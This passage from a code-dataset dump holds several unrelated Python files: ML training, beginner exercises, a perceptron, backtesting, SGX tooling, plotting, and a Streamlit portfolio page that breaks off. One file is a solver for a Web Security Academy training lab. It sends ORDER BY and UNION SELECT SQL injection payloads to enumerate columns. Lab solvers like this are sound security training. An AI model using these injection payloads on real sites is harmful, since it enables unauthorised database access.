viewing.\n    opt.run_name = run_name\n    opt.device = str(device)\n    opt.train_method = 'Knowledge Distillation'\n    opt.student_name = student.__class__.__name__\n    opt.teacher_name = teacher.__class__.__name__\n    opt.optimizer_name = optimizer.__class__.__name__\n    opt.scheduler_name = scheduler.__class__.__name__\n    save_dict_as_json(vars(opt), log_dir=log_path, save_name='knowledge_distillation_options')\n\n    trainer = KnowledgeDistillationModelTrainer(\n        teacher=teacher, student=student, optimizer=optimizer, scheduler=scheduler, dataset='CIFAR10',\n        batch_size=opt.batch_size, num_workers=opt.num_workers, distill_ratio=opt.distill_ratio,\n        temperature=opt.temperature, data_path=opt.data_path, log_path=log_path, checkpoint_path=checkpoint_path)\n\n    trainer.train_model(num_epochs=opt.num_epochs)\n\n\nif __name__ == '__main__':\n    # Example of non-reproducible training run.\n    # Using options as a default dictionary input can be convenient for fast develeopment.\n    torch.backends.cudnn.benchmark = True  # Increase speed if input sizes are the same.\n    options = dict(\n        teacher_checkpoint='',\n        num_workers=2,\n        lr=0.1,\n        distill_ratio=0.95,\n        temperature=1.,\n        gpu=0\n    )\n    options = knowledge_distillation_options(**options).parse_args()\n    main(options)\n","repo_name":"veritas9872/Knowledge-Distillation-Task","sub_path":"train/distill_knowledge.py","file_name":"distill_knowledge.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"18219247063","text":"# Retrieving data from other database tables\n# Union 2 - Finding columns with a useful data type in an SQL injection UNION attack\n\nimport requests\nurl = \"https://ace91f191e10345d80a30dbf006100af.web-security-academy.net/filter?category=Lifestyle\"\n\ndef enum_columns():\n    '''\n    Get valid number of columns using ORDER BY query\n    '''\n    for x in range(1,10):\n        payload = f\"' ORDER BY {x}--\"\n        r = requests.get(url+payload)\n        if r.status_code == 500:\n            break\n    return x-1\n\ndef generate_payload(size, loop_no):\n    '''\n    Generates a payload containing the string to be matched iterating over the number of columns\n    '''\n    nulls = ['NULL']*size\n    nulls[loop_no] = \"'e9dpI1'\" # String to be matched - given in the exercise\n    payload = \"' UNION SELECT \"\n    payload += \",\".join(nulls)\n    payload += \"--\"\n    return payload\n\nsize = enum_columns()\ntry:\n    for x in range(size):\n        payload = generate_payload(size, x)\n        print(f\"Loop: {x}, using payload {payload}\")\n        r_solve = requests.get(url+payload)\n        if \"Congratulations, you solved the lab!\" in r_solve.text:\n            print(\"yeet!\")\n            break\n        else:\n            print(\"sad noises :(\")\nexcept Exception as e:\n    print(\"Something went wrong:\", e)","repo_name":"butter0verflow/oswe-prep","sub_path":"programming/py/webacademy/sqli/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72712608422","text":"'''4. Crea un programa que lea por teclado números de forma sucesiva y los guarde en\nuna lista; el proceso de lectura y guardado finalizará cuando metamos un número\nnegativo. En ese momento se mostrará el elemento mayor y los números pares.'''\n\nlista = []\n\nnum = int(input(\"Dime un numero:\"))\nnumMayor = num\nnumPares = []\n\nwhile(num >= 0):\n    lista.append(num)\n    \n    if(num > numMayor):\n        numMayor = num\n    \n    if(num % 2 == 0):\n        numPares.append(num)\n    \n    num = int(input(\"Dime un numero:\"))\n    \nprint(\"Numero mayor:\",numMayor)\nprint(\"Numeros pares:\",numPares)\n","repo_name":"Herme02/Programacion-2022-2023-","sub_path":"ejercicio1Funciones/ejercicio4.py","file_name":"ejercicio4.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7644429320","text":"\ndef degrau(u):\n    if u>=0:\n        return 1\n    else:\n        return 0\n\n\nif  __name__ == '__main__':\n    quantAmostras = int(input(\"Quantidade de amostras que possui o conjunto de treinamento -> \"))\n    amostras = []\n\n    for i in range(quantAmostras):\n        print(\"\\nAmostra \"+str(i+1))\n        x1 = float(input(\"x1: \"))\n        x2 = float(input(\"x2: \"))\n        dk = float(input(\"d(k): \"))\n        amostras.append([x1,x2,dk])\n\n    print('''\\nDigite os valores do vetor contendo limiar e os pesos,\n          separados por vírgula!\n          exemplo: θ,w1,w2,w3\n          exemplo: 0.5,0.4,0.3,0.1\n          ''')\n    w = [float(i) for i in input(\"-> \").split(\",\")]\n\n    taxaDeAprendizagem = float(input(\"Taxa de aprendizagem(η) -> \"))\n\n    epoca = 0\n\n\n    while(True):\n        errosInexisteCont = 0\n        for indiceAmostra in range(quantAmostras):\n            erro = \"inexiste\"\n\n            entradas = [-1] + amostras[indiceAmostra][:-1]#wo = -1 no perceptron ...trocar dps o 0 aqui\n            \n            u = 0\n            print(\"\\n\\nAmostra:\",indiceAmostra+1)\n            print(\"Época:\",epoca+1)\n            print(\"u = \",end=\"\")\n            for i in range(len(entradas)):\n                u+= entradas[i]*w[i]\n                if(i!=len(entradas) - 1):\n                    print(entradas[i],\"*\",w[i],\"+\",end=\"\")\n                    continue\n                print(entradas[i],\"*\",w[i],\"=\",u,end=\"\\n\")\n\n            saida = degrau(u)\n\n            print(\"g(u) =\",saida)#Função degrau foi adotada como função de ativação\n\n            if saida != amostras[indiceAmostra][-1]:#se y != d(k)\n                for i in range(len(entradas)):\n                    w[i] = w[i] + taxaDeAprendizagem*(amostras[indiceAmostra][-1]-saida)*entradas[i]\n                erro = \"existe\"\n            print(\"Erro:\",erro)\n            print(\"W =\",w)\n\n            if (erro == \"inexiste\"):\n                errosInexisteCont+=1\n\n        epoca+=1\n        if errosInexisteCont == quantAmostras:#se todas amostras possuem o status inexiste\n            break\n\n\n","repo_name":"joaomota59/redesNeuraisArtificiais","sub_path":"perceptron-Fase-de-Treinamento.py","file_name":"perceptron-Fase-de-Treinamento.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28466904157","text":"from DBConnection import DBConnection\nfrom StockMethod import StockMethod\n\nimport bt\n\nimport pandas as pd\n\ndef above_sd(tickers, period=50, start='2010-01-01', name='above_sma'):\n    \"\"\"\n    Long securities that are above their n period sd with equal weights.\n    \"\"\"\n    # download data\n    data = bt.get(tickers, start=start)\n    # calc sma\n    sma = data.rolling(period).sd()\n\n    # create strategy\n    s = bt.Strategy(name, [SelectWhere(data > sma),\n                           bt.algos.WeighEqually(),\n                           bt.algos.Rebalance()])\n\n    # now we create the backtest\n    return bt.Backtest(s, data)\n\nif __name__ == '__main__':\n    start_date = '2016-01-01'\n    aapl_1h = StockMethod(\"aapl\", \"1h\").query_by_symbol_and_freq(start=start_date)\n\n    data = pd.DataFrame()\n    data['aapl'] = aapl_1h['Close']\n\n    above_sd('aapl', )\n\n\n\n","repo_name":"webclinic017/US_Stocks","sub_path":"sources/algo1_volatility.py","file_name":"algo1_volatility.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15076105799","text":"import os\nfrom argparse import ArgumentParser\nimport base64\n\nif __name__ == \"__main__\":\n    parser = ArgumentParser(description='Get mrenclave')\n    parser.add_argument('--signed-enclave-file',\n                        help='Signed enclave file',\n                        required=True)\n    args = parser.parse_args()\n\n    print(\"Finding mrenclave for\", args.signed_enclave_file)\n    cmd = \"sgx_sign dump -enclave {ENCLAVE_FILE} -dumpfile dump.txt\".format(ENCLAVE_FILE = args.signed_enclave_file)\n    print(\"Executing:\", cmd)\n    os.system(cmd)\n\n    with open(\"dump.txt\", 'r') as file:\n        line = file.readline()\n        while line:\n            if line == \"metadata->enclave_css.body.enclave_hash.m:\":\n                mr = file.readline().replace(\" \",\"\").replace(\"0x\",\"\").strip()+file.readline().replace(\" \",\"\").replace(\"0x\",\"\").strip()\n                print(\"Mrenclave is\", mr)\n                print(\"Mrenclave in hex is\", bytes.fromhex(mr).hex())\n                print(\"Mrenclave in base64 is\", base64.b64encode(bytes.fromhex(mr)).decode())\n                break\n            else:\n                line = file.readline().strip()","repo_name":"blockhousetech/sgx-sev-burrito","sub_path":"vm_report_verifier/get-mrenclave.py","file_name":"get-mrenclave.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"41119846399","text":"import matplotlib.pyplot as plt\nplt.style.use('fivethirtyeight')\nfrom matplotlib.animation import FuncAnimation\nimport pandas as pd\nimport os\nimport shutil\nimport time\nfrom glob import glob\n\nfrom streaming_constants import constants\n\nserving = constants.object_constants['publication_distribution']['serving']\nyear_q_dist = constants.object_constants['publication_distribution']['year_q_dist']\n\ndef animate(i):\n    if os.path.exists(os.path.join(serving, year_q_dist)):\n        distribution = pd.read_csv(os.path.join(serving, year_q_dist))\n        years = distribution['publication_year'].unique()\n        axs.clear()\n        for year in years:\n            year_data = distribution[distribution['publication_year'] == year]\n            x = year_data['quarter']\n            y = year_data['publications']\n            axs.plot(x, y, marker='o', label=year)\n            axs.set_xlabel('quarters')\n            axs.set_ylabel('publications')\n            axs.legend(loc='best')\n        plt.tight_layout()\n\nfigure, axs = plt.subplots(1, 1, figsize=(8,5))\n# axs[1][1].remove()\nanimation = FuncAnimation(figure, animate, interval= 2000)\n# from IPython.display import HTML\n# HTML(animation.to_jshtml())\nplt.suptitle('Distribution of Publications')\nplt.tight_layout()\nplt.show()","repo_name":"kanthprashant/Querying-on-OpenAlex-Data-in-Streaming-Fashion","sub_path":"Code Repository/vis_matplotlib_anim/plot_publication_distribution.py","file_name":"plot_publication_distribution.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28979978710","text":"import streamlit as st\nimport requests\nfrom streamlit_lottie import st_lottie\nimport streamlit.components.v1 as components\nfrom PIL import Image\nfrom streamlit_elements import elements, mui, html, sync\nfrom streamlit_option_menu import option_menu\nimport os\nimport time\n# from st_functions import st_button, load_css\n\n\n# Page config\nst.set_page_config(\n    page_title=\"My Webpage\",\n    page_icon=\":tada:\",\n    layout=\"wide\"\n    )\n\ndef load_lottieurl(url):\n    r = requests.get(url)\n    if r.status_code != 200:\n        return None\n    return r.json()\n\ndef local_css(file_name):\n    with open(file_name) as f:\n        st.markdown(f\"<style>{f.read()}</style>\", unsafe_allow_html=True)\n        \nlocal_css(\"style/style.css\")        \n\n# lottie_coding = load_lottieurl(\"https://assets2.lottiefiles.com/packages/lf20_qp1q7mct.json\")\nlottie_coding = load_lottieurl(\"https://assets3.lottiefiles.com/packages/lf20_o6spyjnc.json\")\n\n\n\n# ------------Header Section -------------\nwith st.container():\n    st.subheader(\"Hi, I am JAGHAN T :wave:\")\n    st.header(\"I Have Completed My M.Sc In Data Science From Coimbatore.\")\n    st.markdown(\"Ramakrishna Mission Vivekananda Educational and Research Institute (2021-2023)\")\n\nwith st.container():\n    st.write(\"---\")\n    left_col, right_col = st.columns(2)\n    with left_col:\n        st.header(\"What I do\")\n        st.write(\"##\")\n        st.markdown(\n            \"\"\"\n            - I have completed one internship training in AES Technologies.\n            - Search data science, data analyst, BI analyst-related jobs.\n            - Learn new things and improve my skills.\n            \"\"\"\n        )\n        \nwith right_col:\n       st_lottie(lottie_coding, height=300, key=\"coding\")  \n       \nst.markdown(\"----\")  \n\n# ------------ Internship Training -------\nwith st.container():\n    left_col1, right_col1 = st.columns((2,1))\n    with left_col1:\n        st.write(\"##\")\n        st.header(\"INTERNSHIP TRAINING.\")\n        st.markdown(\"\"\"\n                    AES Technology / August 2022 - April 2023\n                    - Internship in AES Technologies, Coimbatore as Junior Software Engineer.\n            - Working M&C Martin Project (Business Intelligence in Power BI Dashboards)\n            - Dashboard like - Sports Revenue Analysis - Lottery Revenue Analysis - Hotel Revenue Analysis.\n            - Use good user interface - DAX functions - some basic calculations - KPI cards - filters - \n              different visualization - Book mark using visualization - Tool tips.\n            - Dashboard publish to Power BI cloud - Dashboard and MySQL database connections using \n              On-premises data gateway - Scheduled based refresh of the dashboard. \n            - Time series forecasting analysis.\n            - Python automate - Run the python file watcher - When the file put into the folder - \n              File watcher Push the data into MySQL database.\n            - If any error on this file Push the error folder & check the log file using fix the error's - If no error, \n              the file push to the success folder & push to the MySQL database - All of this run on a local server.\n            - In production, fix some error - Version problem in python - Python environment issue - Gateway connection - \n              MySQL to Power BI connection error.\n                    \"\"\")\n    \n    with right_col1:\n        st.write('##')\n        st.write('##')\n        image = Image.open('image/Internship Certificate.png')\n        st.image(image, channels = \"RGB\", width = 450, use_column_width = False)\nst.markdown(\"----\")  \n# ------------ My Projects ---------------\nwith st.container():\n    st.header(\"My Projects\")\n    # st.write(\"##\")\n    \n    selected = option_menu(\n        menu_title    = None,\n        options       = [\"Intern Project\", \"Power BI Project\", \"Sem Project\"],\n        icons         = [\"diagram-3-fill\", \"bar-chart-fill\", \"book-half\"],\n        menu_icon     = \"cast\",\n        default_index = 0,\n        orientation   = \"horizontal\"\n    )\n    if selected == \"Intern Project\":\n        st.subheader(f\"{selected}\")\n        image_col2, text_col2 = st.columns(2)\n    \n    # -------------- Sports Revenue Analysis --------------------\n        \n        with image_col2:\n                    IMAGES = [\n                \"https://user-images.githubusercontent.com/108980892/225910844-589b5dd9-d95d-478e-babd-6c6a41017ec0.png\",\n                \"https://user-images.githubusercontent.com/108980892/225910973-ca77ae75-42f8-48d5-889c-8d6149a16599.png\",\n                \"https://user-images.githubusercontent.com/108980892/226608321-9475c077-60e2-4e59-8f04-3538affd2805.png\",\n                \"https://user-images.githubusercontent.com/108980892/225911314-713904b1-1173-4097-b5c2-fb8264a6bb91.png\",\n                \"https://user-images.githubusercontent.com/108980892/225911403-95a0c4b7-26a9-4df8-a91b-4bce3e20263f.png\",\n                \"https://user-images.githubusercontent.com/108980892/225911488-949724d5-a94b-4641-9d66-f20727c7df35.png\",\n                \"https://user-images.githubusercontent.com/108980892/225911598-4b9e33b6-4cfb-4111-9252-fb4307a88e58.png\",\n                \"https://user-images.githubusercontent.com/108980892/230578101-e8aac3ad-77d1-40fc-9f05-d39bf0371adc.png\",\n                \"https://user-images.githubusercontent.com/108980892/230577946-22f09151-cc1a-47e7-9452-8e54a5052148.png\"   \n            ]\n\n\n                    def slideshow_swipeable(images):\n            # Generate a session state key based on images.\n                        key = f\"slideshow_swipeable_{str(images).encode().hex()}\"\n\n            # Initialize the default slideshow index.\n                        if key not in st.session_state:\n                            st.session_state[key] = 0\n\n                # Get the current slideshow index.\n                        index = st.session_state[key]\n\n                # Create a new elements frame.\n                        with elements(f\"frame_{key}\"):\n\n                    # Use mui.Stack to vertically display the slideshow and the pagination centered.\n                    # https://mui.com/material-ui/react-stack/#usage\n                            with mui.Stack(spacing=2, alignItems=\"center\"):\n\n                        # Create a swipeable view that updates st.session_state[key] thanks to sync().\n                        # It also sets the index so that changing the pagination (see below) will also\n                        # update the swipeable view.\n                        # https://mui.com/material-ui/react-tabs/#full-width\n                        # https://react-swipeable-views.com/demos/demos/\n                                with mui.SwipeableViews(index=index, resistance=True, onChangeIndex=sync(key)):\n                                    for image in images:\n                                        html.img(src=image, css={\"width\": \"100%\"})\n\n                        # Create a handler for mui.Pagination.\n                        # https://mui.com/material-ui/react-pagination/#controlled-pagination\n                                def handle_change(event, value):\n                            # Pagination starts at 1, but our index starts at 0, explaining the '-1'.\n                                    st.session_state[key] = value-1\n\n                        # Display the pagination.\n                        # As the index value can also be updated by the swipeable view, we explicitely\n                        # set the page value to index+1 (page value starts at 1).\n                        # https://mui.com/material-ui/react-pagination/#controlled-pagination\n                                mui.Pagination(page=index+1, count=len(images), color=\"primary\", onChange=handle_change)\n\n\n            # if __name__ == '__main__':\n                    slideshow_swipeable(IMAGES)\n                     \n        \n        with text_col2:\n            st.write(\n                \"\"\"\n                - Use good user interface.\n                - DAX functions – convert to category, Basic calculations - sum of the values & calculate the percentage.\n                - KPI cards – Revenue & other categories - room revenue & room categories.\n                - Filters - category filter & date filter - room category filter, date filter & breakup filter.\n                - Different visualization - pie chart - bar chart - clustered bar chart & Scacked bar chart.\n                - Tool tips - easy to understand category wise deep analysis.\n                - Book mark using visualization – to change the visualize \"Total Revenue, Rooms Booked, Total Occupancy, ARR\".\n                - Dashboards publish to Power BI cloud.\n                - Dashboard and MySQL database connections using On-premises data gateway. \n                - Scheduled based refresh of the dashboard.   \n                \"\"\"\n            )\n            link2, link3, link4, link5= st.columns(4)\n            with link2:\n                link = \"https://app.powerbi.com/view?r=eyJrIjoiNjZjMGUxNTctYzUwNC00MzU1LTk4MjMtMTE0ZGUyZmE4Nzc1IiwidCI6IjJkMWUxN2Q0LWRlYzMtNGM4NS05MjcxLTIzYjIxZmM5ODhkMCJ9&pageName=ReportSectiond7bce0e78f8c415737fb\"\n                st.write(f\"Link - [Sports Revenue Analysis]({link})\")\n            with link3:\n                link = \"https://app.powerbi.com/view?r=eyJrIjoiNjZjMGUxNTctYzUwNC00MzU1LTk4MjMtMTE0ZGUyZmE4Nzc1IiwidCI6IjJkMWUxN2Q0LWRlYzMtNGM4NS05MjcxLTIzYjIxZmM5ODhkMCJ9&pageName=ReportSection339245b9eb185d4081cd\"\n                st.write(f\" - [Hotel Revenue Analysis]({link})\")\n            with link4:\n                    link = \"https://app.powerbi.com/view?r=eyJrIjoiNjZjMGUxNTctYzUwNC00MzU1LTk4MjMtMTE0ZGUyZmE4Nzc1IiwidCI6IjJkMWUxN2Q0LWRlYzMtNGM4NS05MjcxLTIzYjIxZmM5ODhkMCJ9&pageName=ReportSectionfc5cf79d510b3c312bcb\"\n                    st.write(f\" - [Lottery Revenue Analysis]({link})\")   \n            with link5:\n                    st.write(\"##\")                      \n                       \n            \n        \n\nif selected == \"Power BI Project\":\n    st.subheader(f\"{selected}\")\n    st.subheader(\"Super Market Sales Analysis\")\n    with st.container():\n        text_col5, image_col5 = st.columns(2)\n        \n        # -------------- Super Market Revenue Analysis --------------------\n        \n        with text_col5: \n            st.write(\n                \"\"\"\n                - Use good user interface – DAX functions – some basic calculations – KPI cards – Filters -Different \n                    visualization – Book mark using visualization – Tool tips\n                - Use Month on Month Growth Rate.\n                - Metrics in Power BI let customers curate their metrics and track them against key business objectives, in a single pane.\n                - In this Power BI used to create views of report pages that are optimized for viewing on mobile devices.    \n                - Template created in Figma\n                \"\"\"\n            )    \n            link = \"https://app.powerbi.com/view?r=eyJrIjoiMmQyMzA4YWYtNjAxYS00YzY1LWJhYTgtOWFiZGU3YmM3MWEzIiwidCI6IjJkMWUxN2Q0LWRlYzMtNGM4NS05MjcxLTIzYjIxZmM5ODhkMCJ9\"\n            st.write(f\" - [Dashboard Link]({link})\")\n            \n        with image_col5:\n                    IMAGES = [\n                \"https://user-images.githubusercontent.com/108980892/229756282-167d4377-6352-4d8b-839e-535a68e5d91f.png\",\n                \"https://user-images.githubusercontent.com/108980892/229756466-d04c3c2d-2508-49cf-b892-16999e3598ff.png\",\n                \"https://user-images.githubusercontent.com/108980892/229756627-e3ff9dc1-87fe-4d58-bead-e4c0233ef8e3.png\",\n                \"https://user-images.githubusercontent.com/108980892/229760122-ec455396-c268-4a99-ab00-1ac30ea45c81.png\"\n            ]\n\n\n                    def slideshow_swipeable(images):\n                # Generate a session state key based on images.\n                        key = f\"slideshow_swipeable_{str(images).encode().hex()}\"\n\n                # Initialize the default slideshow index.\n                        if key not in st.session_state:\n                            st.session_state[key] = 0\n\n                # Get the current slideshow index.\n                        index = st.session_state[key]\n\n                # Create a new elements frame.\n                        with elements(f\"frame_{key}\"):\n\n                    # Use mui.Stack to vertically display the slideshow and the pagination centered.\n                    # https://mui.com/material-ui/react-stack/#usage\n                            with mui.Stack(spacing=2, alignItems=\"center\"):\n\n                        # Create a swipeable view that updates st.session_state[key] thanks to sync().\n                        # It also sets the index so that changing the pagination (see below) will also\n                        # update the swipeable view.\n                        # https://mui.com/material-ui/react-tabs/#full-width\n                        # https://react-swipeable-views.com/demos/demos/\n                                with mui.SwipeableViews(index=index, resistance=True, onChangeIndex=sync(key)):\n                                    for image in images:\n                                        html.img(src=image, css={\"width\": \"100%\"})\n\n                        # Create a handler for mui.Pagination.\n                        # https://mui.com/material-ui/react-pagination/#controlled-pagination\n                                def handle_change(event, value):\n                            # Pagination starts at 1, but our index starts at 0, explaining the '-1'.\n                                    st.session_state[key] = value-1\n\n                        # Display the pagination.\n                        # As the index value can also be updated by the swipeable view, we explicitely\n                        # set the page value to index+1 (page value starts at 1).\n                        # https://mui.com/material-ui/react-pagination/#controlled-pagination\n                                mui.Pagination(page=index+1, count=len(images), color=\"primary\", onChange=handle_change)\n\n\n            # if __name__ == '__main__':\n                    slideshow_swipeable(IMAGES)\n                    \n                    \n    st.markdown(\"----\") \n    st.subheader(\"People Counting Dashboard\") \n    with st.container():\n        image_col6, text_col6 = st.columns(2)\n        \n        # -------------- People Counting Dashboard --------------------\n        \n        with image_col6:\n                    IMAGES = [\n                \"https://user-images.githubusercontent.com/108980892/233640907-6d141133-08db-44a0-a842-c27c14cbdc94.png\",\n                \"https://user-images.githubusercontent.com/108980892/233641017-aee4599a-9aef-4887-8549-a8851dee5e72.png\",\n                \"https://user-images.githubusercontent.com/108980892/233641105-06f285c1-112e-46f0-b4aa-ad10495fa7d7.png\"\n            ]\n\n\n                    def slideshow_swipeable(images):\n                # Generate a session state key based on images.\n                        key = f\"slideshow_swipeable_{str(images).encode().hex()}\"\n\n                # Initialize the default slideshow index.\n                        if key not in st.session_state:\n                            st.session_state[key] = 0\n\n                # Get the current slideshow index.\n                        index = st.session_state[key]\n\n                # Create a new elements frame.\n                        with elements(f\"frame_{key}\"):\n\n                    # Use mui.Stack to vertically display the slideshow and the pagination centered.\n                    # https://mui.com/material-ui/react-stack/#usage\n                            with mui.Stack(spacing=2, alignItems=\"center\"):\n\n                        # Create a swipeable view that updates st.session_state[key] thanks to sync().\n                        # It also sets the index so that changing the pagination (see below) will also\n                        # update the swipeable view.\n                        # https://mui.com/material-ui/react-tabs/#full-width\n                        # https://react-swipeable-views.com/demos/demos/\n                                with mui.SwipeableViews(index=index, resistance=True, onChangeIndex=sync(key)):\n                                    for image in images:\n                                        html.img(src=image, css={\"width\": \"100%\"})\n\n                        # Create a handler for mui.Pagination.\n                        # https://mui.com/material-ui/react-pagination/#controlled-pagination\n                                def handle_change(event, value):\n                            # Pagination starts at 1, but our index starts at 0, explaining the '-1'.\n                                    st.session_state[key] = value-1\n\n                        # Display the pagination.\n                        # As the index value can also be updated by the swipeable view, we explicitely\n                        # set the page value to index+1 (page value starts at 1).\n                        # https://mui.com/material-ui/react-pagination/#controlled-pagination\n                                mui.Pagination(page=index+1, count=len(images), color=\"primary\", onChange=handle_change)\n\n\n            # if __name__ == '__main__':\n                    slideshow_swipeable(IMAGES)\n        \n        with text_col6:\n            st.write(\n                \"\"\"\n                - Use good user interface – DAX functions – some basic calculations – KPI cards – Filters -Different \n                    visualization – Book mark using visualization – Tool tips.\n                - Visualize the people counting data in the Power BI dashboard.\n                - Visualize this week's count and this month's count. Visualize the overall summary.\n                - A good user interface - DAX measures - basic calculations - visualize different plots - filters and easy to understand this dashboard.\n                - Power BI dashboard and MySQL database connections using On-premises data gateway.  \n                - Template created in Microsoft power point with background animation.\n                \"\"\"\n            )\n            link = \"https://app.powerbi.com/view?r=eyJrIjoiZjQzMTI0MmMtYWZhNy00MmJiLTk1OTktN2I5YjcyODNjZjgwIiwidCI6IjJkMWUxN2Q0LWRlYzMtNGM4NS05MjcxLTIzYjIxZmM5ODhkMCJ9\"\n            st.write(f\" - [Dashboard Link]({link})\")\n            \n# ------------------- Sem Project ---------------------------           \nif selected == \"Sem Project\":\n    st.subheader(f\"{selected}\")\n    st.header(\"People Counting & Tracking Streamlit Web Application\")\n    \n    # ------------ Internship Training -------\n    with st.container():\n        left_col7, right_col7 = st.columns(2)\n    with left_col7:\n        st.write(\"##\")\n        st.markdown(\"\"\"\n                    - Open CV using people counting & tracking streamlit web application. In this project main purpose of counting the people\n                      in and people out in our campus or any organization.\n                    - Technologies used in this project - Python, Streamlit, Power BI, MySQL database, On-premises data gateway.\n                    - Python to access CCTV cameras, people enter the boundary line, can detect the people same as counting the people in and people out.\n                    - People count data stored in an Excel file after Excel data 24 hours once updated to MySQL database.\n                    - Visualize the people counting data in the Power BI dashboard.\n                    - Visualize this week's count and this month's count. Visualize the overall summary.\n                    - A good user interface - DAX measures - basic calculations - visualize different plots - filters and easy to understand this dashboard.\n                    - Power BI dashboard and MySQL database connections using On-premises data gateway.\n                    \"\"\")\n    with right_col7:\n        st.write('##')\n        IMAGES = [\n                \"https://github.com/jaghant/images/blob/main/Sem%20IV/Workflow.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20IV/Login.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20IV/main.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20IV/Power-BI.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20IV/Home.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20IV/Weekly%20report.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20IV/Overall%20report.png?raw=true\"\n    ]\n        def slideshow_swipeable(images):\n                # Generate a session state key based on images.\n                        key = f\"slideshow_swipeable_{str(images).encode().hex()}\"\n\n                # Initialize the default slideshow index.\n                        if key not in st.session_state:\n                            st.session_state[key] = 0\n\n                # Get the current slideshow index.\n                        index = st.session_state[key]\n\n                # Create a new elements frame.\n                        with elements(f\"frame_{key}\"):\n\n                    # Use mui.Stack to vertically display the slideshow and the pagination centered.\n                    # https://mui.com/material-ui/react-stack/#usage\n                            with mui.Stack(spacing=2, alignItems=\"center\"):\n\n                        # Create a swipeable view that updates st.session_state[key] thanks to sync().\n                        # It also sets the index so that changing the pagination (see below) will also\n                        # update the swipeable view.\n                        # https://mui.com/material-ui/react-tabs/#full-width\n                        # https://react-swipeable-views.com/demos/demos/\n                                with mui.SwipeableViews(index=index, resistance=True, onChangeIndex=sync(key)):\n                                    for image in images:\n                                        html.img(src=image, css={\"width\": \"100%\"})\n\n                        # Create a handler for mui.Pagination.\n                        # https://mui.com/material-ui/react-pagination/#controlled-pagination\n                                def handle_change(event, value):\n                            # Pagination starts at 1, but our index starts at 0, explaining the '-1'.\n                                    st.session_state[key] = value-1\n\n                        # Display the pagination.\n                        # As the index value can also be updated by the swipeable view, we explicitely\n                        # set the page value to index+1 (page value starts at 1).\n                        # https://mui.com/material-ui/react-pagination/#controlled-pagination\n                                mui.Pagination(page=index+1, count=len(images), color=\"primary\", onChange=handle_change)\n\n\n            # if __name__ == '__main__':\n        slideshow_swipeable(IMAGES)  \n    st.markdown(\"---\") \n    st.header(\"Sales Forecasting Time Series Analysis\")\n    with st.container():\n        left_col8, right_col8 = st.columns(2)\n               \n        \n        with left_col8:\n            IMAGES = [\n                \"https://github.com/jaghant/images/blob/main/Sem%20III/Ship%20modes.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20III/Total%20sales%20per%20year.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20III/Total%20sales%20trend.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20III/Monthly%20sales.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20III/Yearly%20trend.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20III/Sales%20trend%20.over%20dayspng.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20III/Distribution.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20III/Sales%20count.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20III/Sales%20value.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20III/Mean%20test.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20III/Trend_seasonality.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20III/Model%20buildingpng.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20III/Sales%20forecast.png?raw=true\"\n            ]\n            def slideshow_swipeable(images):\n                # Generate a session state key based on images.\n                        key = f\"slideshow_swipeable_{str(images).encode().hex()}\"\n\n                # Initialize the default slideshow index.\n                        if key not in st.session_state:\n                            st.session_state[key] = 0\n\n                # Get the current slideshow index.\n                        index = st.session_state[key]\n\n                # Create a new elements frame.\n                        with elements(f\"frame_{key}\"):\n\n                    # Use mui.Stack to vertically display the slideshow and the pagination centered.\n                    # https://mui.com/material-ui/react-stack/#usage\n                            with mui.Stack(spacing=2, alignItems=\"center\"):\n\n                        # Create a swipeable view that updates st.session_state[key] thanks to sync().\n                        # It also sets the index so that changing the pagination (see below) will also\n                        # update the swipeable view.\n                        # https://mui.com/material-ui/react-tabs/#full-width\n                        # https://react-swipeable-views.com/demos/demos/\n                                with mui.SwipeableViews(index=index, resistance=True, onChangeIndex=sync(key)):\n                                    for image in images:\n                                        html.img(src=image, css={\"width\": \"100%\"})\n\n                        # Create a handler for mui.Pagination.\n                        # https://mui.com/material-ui/react-pagination/#controlled-pagination\n                                def handle_change(event, value):\n                            # Pagination starts at 1, but our index starts at 0, explaining the '-1'.\n                                    st.session_state[key] = value-1\n\n                        # Display the pagination.\n                        # As the index value can also be updated by the swipeable view, we explicitely\n                        # set the page value to index+1 (page value starts at 1).\n                        # https://mui.com/material-ui/react-pagination/#controlled-pagination\n                                mui.Pagination(page=index+1, count=len(images), color=\"primary\", onChange=handle_change)\n\n\n            # if __name__ == '__main__':\n            slideshow_swipeable(IMAGES)\n        with right_col8:\n            st.markdown(\"\"\"\n                    - The details of 9800 record and have 4 years of sales data in 